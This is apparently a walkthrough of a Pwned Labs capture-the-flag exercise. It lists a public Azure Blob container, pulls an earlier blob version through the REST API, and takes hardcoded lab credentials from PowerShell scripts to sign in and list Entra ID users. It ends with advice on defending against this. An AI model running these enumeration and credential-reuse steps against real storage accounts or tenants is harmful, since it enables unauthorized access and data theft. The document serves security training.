Pwned Labs - Azure Blob Container to Initial Access

Scenario

Mega Big Tech have adopted a hybrid cloud architecture and continues to use a local on-premise Active Directory domain, as well as the Azure cloud. They are wary of being targeted due to their importance in the tech world, and have asked your team to assess the security of their infrastructure, including cloud services. An interesting URL has been found in some public documentation, and you are tasked with assessing it.

Learning outcomes

  • Familiarity with the Azure CLI
  • Identification and enumeration of Azure Blob Container
  • Leverage blob previous version functionality to reveal secrets
  • Understand how this attack chain could have been prevented

Real World Context

There have been numerous examples over the years of data breaches resulting from misconfigured public Azure Blob storage (the Azure equivalent of an S3 bucket). While Azure offers robust security features, the responsibility to secure data in the cloud rests with the account holder.

Entry Point

http://dev.megabigtech.com/$web/index.html


Attack

We have a URL and when we visit that site, we are presented with the following landing page

If we look at the source code, we can see that this is reference Microsoft Azure Blob storage

We can confirm this by using curl to look at the header replacing the content from the above for the css file with index.html and also the original request and you can see that this has the same Content-MD5 hash

You could also just paste the URL into the browser and will be automatically redirected.

❯ curl -I 'http://dev.megabigtech.com/$web/index.html'
HTTP/1.1 200 OK
Content-Length: 782359
Content-Type: text/html
Content-MD5: JSe+sM+pXGAEFInxDgv4CA==
Last-Modified: Fri, 20 Oct 2023 20:08:20 GMT
ETag: 0x8DBD1A84E6455C0
Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
x-ms-request-id: 8fd4c212-801e-00cb-692a-e64f6a000000
x-ms-version: 2009-09-19
x-ms-lease-status: unlocked
x-ms-blob-type: BlockBlob
Date: Sun, 04 Aug 2024 04:58:04 GMT

❯ curl -I 'https://mbtwebsite.blob.core.windows.net/$web/index.html'
HTTP/1.1 200 OK
Content-Length: 782359
Content-Type: text/html
Content-MD5: JSe+sM+pXGAEFInxDgv4CA==
Last-Modified: Fri, 20 Oct 2023 20:08:20 GMT
ETag: 0x8DBD1A84E6455C0
Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
x-ms-request-id: 6b17a5a3-d01e-00b4-202b-e680f1000000
x-ms-version: 2009-09-19
x-ms-lease-status: unlocked
x-ms-blob-type: BlockBlob
Date: Sun, 04 Aug 2024 05:00:25 GMT

Lets breakdown the relevant components of the URL https://mbtwebsite.blob.core.windows.net/$web/index.html

mbtwebsite : The name of the Azure Storage Account blob.core.windows.net : Azure Blob Storage Service $web : The name of the container hosting the website and it is situated within the storage account index.html : The web page requested

We went to get more information on the container so we look at the REST API documentation https://learn.microsoft.com/en-us/rest/api/storageservices/operations-on-containers and will use this to enumerate further.

We start to enumerate and when we run the command curl 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list' we get a lot of results, so further reading the documentation we can add a delimiter which we will do using / as this will find directories.

❯ curl -s 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&delimiter=%2F' | xmllint --format -
<?xml version="1.0" encoding="utf-8"?>
<EnumerationResults ContainerName="https://mbtwebsite.blob.core.windows.net/$web">
  <Delimiter>/</Delimiter>
  <Blobs>
    <Blob>
      <Name>index.html</Name>
      <Url>https://mbtwebsite.blob.core.windows.net/$web/index.html</Url>
      <Properties>
        <Last-Modified>Fri, 20 Oct 2023 20:08:20 GMT</Last-Modified>
        <Etag>0x8DBD1A84E6455C0</Etag>
        <Content-Length>782359</Content-Length>
        <Content-Type>text/html</Content-Type>
        <Content-Encoding/>
        <Content-Language/>
        <Content-MD5>JSe+sM+pXGAEFInxDgv4CA==</Content-MD5>
        <Cache-Control/>
        <BlobType>BlockBlob</BlobType>
        <LeaseStatus>unlocked</LeaseStatus>
      </Properties>
    </Blob>
    <BlobPrefix>
      <Name>static/</Name>
    </BlobPrefix>
  </Blobs>
  <NextMarker/>
</EnumerationResults>

This is nothing new as we saw that in the source code earlier, so we will continue to enumerate. Looking through the API requests for containers, there is an option to Restore Container, which indicates that there must be a way to take a snapshot and thus, there are versions. We look at the URI parameters for List Blobs and we can see that there is an include= that has this option.

❯ curl -s 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions' | xmllint --format -
<?xml version="1.0" encoding="utf-8"?>
<Error>
  <Code>InvalidQueryParameterValue</Code>
  <Message>Value for one of the query parameters specified in the request URI is invalid.
RequestId:57568bcb-301e-0077-7430-e699ab000000
Time:2024-08-04T05:41:28.2493935Z</Message>
  <QueryParameterName>include</QueryParameterName>
  <QueryParameterValue>versions</QueryParameterValue>
  <Reason>Invalid query parameter value.</Reason>
</Error>

We get an error, but the documentation indicates that we are required to pass in the x-ms-version header and we pass in the command curl -s -H 'x-ms-version: 2019-12-12' 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions' | xmllint --format - which returns a lot of results, so we do a first screening searching for Name.

❯ curl -s -H 'x-ms-version: 2019-12-12' 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&comp=list&include=versions' | xmllint --format - | grep Name
<EnumerationResults ServiceEndpoint="https://mbtwebsite.blob.core.windows.net/" ContainerName="$web">
      <Name>index.html</Name>
      <Name>scripts-transfer.zip</Name>
      <Name>static/application-0162b80622a4b825c801f8afcd695b5918649df6f9b26eb012974f9b00a777c5.css</Name>
      <Name>static/application-76970cb8dc49a9af2f2bbc74a0ec0781ef24ead86c4f7b6273577d16c2f1506a.js.download</Name>
      <Name>static/common.js.download</Name>
      <Name>static/css</Name>
      <Name>static/iframe_api</Name>
      <Name>static/jquery-3.6.0.min.js.download</Name>
      <Name>static/js</Name>
      <Name>static/magnific-popup-2f7f85183333c84a42262b5f8a4f8251958809e29fa31c65bdee53c4603502cd.css</Name>
      <Name>static/magnific-popup.min-37130bcc3f8b01fe7473f8bb60a9aea35dc77c05eedc37fbd70135363feb6999.js.download</Name>
      <Name>static/player.js.download</Name>
      <Name>static/swiper-18be8aa3f032dded246a45a9da3dafdb3934e39e1f1b3b623c1722f3152b2788.css</Name>
      <Name>static/swiper.min-d36969d50f8c2fa3a00a68e55fe929e3af3fdd249cf33fd128b6a17a410e2c59.js.download</Name>
      <Name>static/util.js.download</Name>
      <Name>static/www-widgetapi.js.download</Name>

There is one interesting file which is scripts-transfer.zip so lets extract the details from that from our earlier query

    <Blob>
      <Name>scripts-transfer.zip</Name>
      <VersionId>2024-03-29T20:55:40.8265593Z</VersionId>
      <Properties>
        <Creation-Time>Fri, 29 Mar 2024 20:55:40 GMT</Creation-Time>
        <Last-Modified>Fri, 29 Mar 2024 20:55:40 GMT</Last-Modified>
        <Etag>0x8DC503297FC8D79</Etag>
        <Content-Length>1503</Content-Length>
        <Content-Type>application/x-zip-compressed</Content-Type>
        <Content-Encoding/>
        <Content-Language/>
        <Content-CRC64/>
        <Content-MD5>1qDsI5JcoEf80LrjeE21Yg==</Content-MD5>
        <Cache-Control/>
        <Content-Disposition/>
        <BlobType>BlockBlob</BlobType>
        <AccessTier>Hot</AccessTier>
        <AccessTierInferred>true</AccessTierInferred>
        <ServerEncrypted>true</ServerEncrypted>
      </Properties>
      <OrMetadata/>
    </Blob>

Going back to the documentation for Get Blob we can see that we are able to retrieve it with the VersionId.

❯ curl -s -H 'x-ms-version: 2019-12-12' 'https://mbtwebsite.blob.core.windows.net/$web/scripts-transfer.zip?versionid=2024-03-29T20:55:40.8265593Z' --output scripts-transfer.zip

❯ unzip -l scripts-transfer.zip
Archive:  scripts-transfer.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     1241  2024-03-29 20:54   entra_users.ps1
     1321  2024-03-29 20:53   stale_computer_accounts.ps1
---------                     -------
     2562                     2 files

Using Azure Storage Explorer

An alternative which is easier is to use Azure Storage explorer and connect directly to the container as it allows anonymous access

By clicking on the drop down menu we can also see any files that have been deleted

We then can right click on the file and download and continue.


Using either method to get the file, we unzip the file and inspect the content.s The first one, entra_users.ps1 contains hardcoded credentials.

# Install the required modules if not already installed
# Install-Module -Name Az -Force -Scope CurrentUser
# Install-Module -Name MSAL.PS -Force -Scope CurrentUser

# Import the required modules
Import-Module Az
Import-Module MSAL.PS

# Define your Azure AD credentials
$Username = "marcus@megabigtech.com"
$Password = "TheEagles12345!" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential ($Username, $Password)

# Authenticate to Azure AD using the specified credentials
Connect-AzAccount -Credential $Credential

# Define the Microsoft Graph API URL
$GraphApiUrl = "https://graph.microsoft.com/v1.0/users?$select=displayName,userPrincipalName"

# Retrieve the access token for Microsoft Graph
$AccessToken = (Get-AzAccessToken -ResourceType MSGraph).Token

# Create a headers hashtable with the access token
$headers = @{
    "Authorization" = "Bearer $AccessToken"
    "ContentType"   = "application/json"
}

# Retrieve User Information and Last Sign-In Time using Microsoft Graph via PowerShell
$response = Invoke-RestMethod -Uri $GraphApiUrl -Method Get -Headers $headers

# Output the response (formatted as JSON)
$response | ConvertTo-Json

The second file also contains hardcoded credentials, but this time it is for the admin account.

# Define the target domain and OU
$domain = "megabigtech.local"
$ouName = "Review"

# Set the threshold for stale computer accounts (adjust as needed)
$staleDays = 90  # Computers not modified in the last 90 days will be considered stale

# Hardcoded credentials
$securePassword = ConvertTo-SecureString "MegaBigTech123!" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ("marcus_adm", $securePassword)

# Get the current date
$currentDate = Get-Date

# Calculate the date threshold for stale accounts
$thresholdDate = $currentDate.AddDays(-$staleDays)

# Disable and move stale computer accounts to the "Review" OU
Get-ADComputer -Filter {(LastLogonTimeStamp -lt $thresholdDate) -and (Enabled -eq $true)} -SearchBase "DC=$domain" -Properties LastLogonTimeStamp -Credential $credential |
  ForEach-Object {
    $computerName = $_.Name
    $computerDistinguishedName = $_.DistinguishedName

    # Disable the computer account
    Disable-ADAccount -Identity $computerDistinguishedName -Credential $credential

    # Move the computer account to the "Review" OU
    Move-ADObject -Identity $computerDistinguishedName -TargetPath "OU=$ouName,DC=$domain" -Credential $credential
    
    Write-Host "Disabled and moved computer account: $computerName"
  }

We have launched PowerShell on our Kali instance and installed the required modules. We then run the entra_users.ps1 script to see if we have valid credentials, and we get the following:

PS> ./entra_users.ps1
WARNING: Authentication with a username and password at the command line is strongly discouraged. Use one of the recommended authentication methods based on your requirements. For additional information, visit https://go.microsoft.com/fwlink/?linkid=2276971.
WARNING: You may need to login again after updating "EnableLoginByWam".

WARNING: Upcoming breaking changes in the cmdlet 'Get-AzAccessToken' :
The Token property of the output type will be changed from String to SecureString. Add the [-AsSecureString] switch to avoid the impact of this upcoming breaking change.
- The change is expected to take effect in Az version : '13.0.0'
- The change is expected to take effect in Az.Accounts version : '4.0.0'
Note : Go to https://aka.ms/azps-changewarnings for steps to suppress this breaking change warning, and other information on breaking changes in Azure PowerShell.
WARNING: Resulting JSON is truncated as serialization has exceeded the set depth of 2.
Subscription name           Tenant
-----------------           ------
Microsoft Azure Sponsorship Default Directory
{
  "@odata.context": "https://graph.microsoft.com/v1.0/$metadata#users",
  "value": [
    {
      "businessPhones": "",
      "displayName": "Akari Fukimo",
      "givenName": "Akari",
      "jobTitle": "Cloud engineer",
      "mail": null,
      "mobilePhone": null,
      "officeLocation": null,
      "preferredLanguage": null,
      "surname": "Fukimo",
      "userPrincipalName": "Akari.Fukimo@megabigtech.com",
      "id": "f99e0d7f-3e0f-41ce-8fcb-cf7ac49995d1"
    },
    {
      "businessPhones": "",
      "displayName": "Akira Suzuki",
      "givenName": null,
      "jobTitle": null,
      "mail": null,
      "mobilePhone": null,
      "officeLocation": null,
      "preferredLanguage": null,
      "surname": null,
      "userPrincipalName": "Akira.Suzuki@megabigtech.com",
      "id": "4e96be22-f417-49b5-9f98-b74f8258c8ae"
    },
< --- snip --- >

We have been able to retrieve the flag by running the command get-azaduser -signedin | fl

Defense

There were a number of issues that enabled such a compromise with the first and most obvious being that the entire blob containers was world-readable by anonymous users when only the website content should have been configured to be publicly accessible. The other was that sensitive files were still there from a previous version. These should not have been there in the first instance, and should have manually been deleted using the command Remove-AzStorageBlob -Container '$web' -Blob scripts-transfer.zip -VersionId "2024-03-29T20:55:40.8265593Z"

The most critical of all of these was of course the hard coding of credentials in the scripts. Credentials should have been stored in a PAM system, password manager or using a service such as Azure Key Vault.